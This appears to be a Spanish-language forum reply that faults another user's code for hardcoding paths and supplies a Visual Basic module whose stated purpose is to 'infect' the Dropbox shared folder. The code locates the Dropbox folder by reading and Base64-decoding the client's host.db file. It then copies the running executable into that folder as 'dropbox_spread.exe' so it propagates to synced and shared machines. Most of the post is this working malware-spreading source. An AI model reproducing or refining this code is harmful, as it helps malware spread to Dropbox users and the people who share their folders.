El código no está mal, pero no está correctamente implementado. Utilizas rutas estáticas... que ocurre si ejecutas tu código en un PC cuya carpeta de dropbox esté en "E:\ejemplo\mi_dropbox" ? Para ello utiliza lo siguiente:

'---------------------------------------------------------------------------------------
' Modulo     :  SpreadDropbox
' Autor      :  uddtools.com
' Adapatdo: MadAntrax
' Fecha      :  16/09/2013
' Finalidad  :  Infectar la carpeta compartida Dropbox
' Uso        :  Call DropboxSpread(App.Path & "\" & App.EXEName & ".exe", "dropbox_spread.exe")
'               Idea extraída del foro uddtools.com, se ha modificado el código quitado dependencias
'               a Microsoft Scripting Runtime
'---------------------------------------------------------------------------------------
 
Private Sub Form_Load()
    MsgBox "Dropbox Folder = " & getDropboxPath
    Call DropboxSpread(App.Path & "\" & App.EXEName & ".exe", "dropbox_spread.exe")
End Sub
 
Public Sub DropboxSpread(sFilePath As String, sFileName As String)
    FileCopy sFilePath, getDropboxPath & "\" & sFileName
End Sub
 
Private Function getDropboxPath() As String
    getDropboxPath = Base64Decode(Read_host(Environ("APPDATA") & "\Dropbox\host.db"))
End Function
 
Private Function Read_host(sFile As String) As String
    Dim Code As String
    Open sFile For Binary Access Read As #1
        Code = Space(LOF(1))
        Get #1, , Code
    Close #1
    Read_host = Split(Code, Chr(10))(1)
End Function
 
'Credits to pscode.com
Function Base64Decode(ByVal base64String As String) As String
  Const Base64 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
  Dim dataLength, sOut, groupBegin
 
  base64String = Replace(base64String, vbCrLf, "")
  base64String = Replace(base64String, vbTab, "")
  base64String = Replace(base64String, " ", "")
 
  dataLength = Len(base64String)
  If dataLength Mod 4 <> 0 Then Exit Function
 
  For groupBegin = 1 To dataLength Step 4
    Dim numDataBytes, CharCounter, thisChar, thisData, nGroup, pOut
    numDataBytes = 3
    nGroup = 0
    For CharCounter = 0 To 3
      thisChar = Mid(base64String, groupBegin + CharCounter, 1)
      If thisChar = "=" Then
        numDataBytes = numDataBytes - 1
        thisData = 0
      Else
        thisData = InStr(1, Base64, thisChar, vbBinaryCompare) - 1
      End If
      If thisData = -1 Then Exit Function
      nGroup = 64 * nGroup + thisData
    Next
    nGroup = Hex(nGroup)
    nGroup = String(6 - Len(nGroup), "0") & nGroup
    pOut = Chr(CByte("&H" & Mid(nGroup, 1, 2))) + Chr(CByte("&H" & Mid(nGroup, 3, 2))) + Chr(CByte("&H" & Mid(nGroup, 5, 2)))
    sOut = sOut & Left(pOut, numDataBytes)
  Next
  Base64Decode = sOut
End Function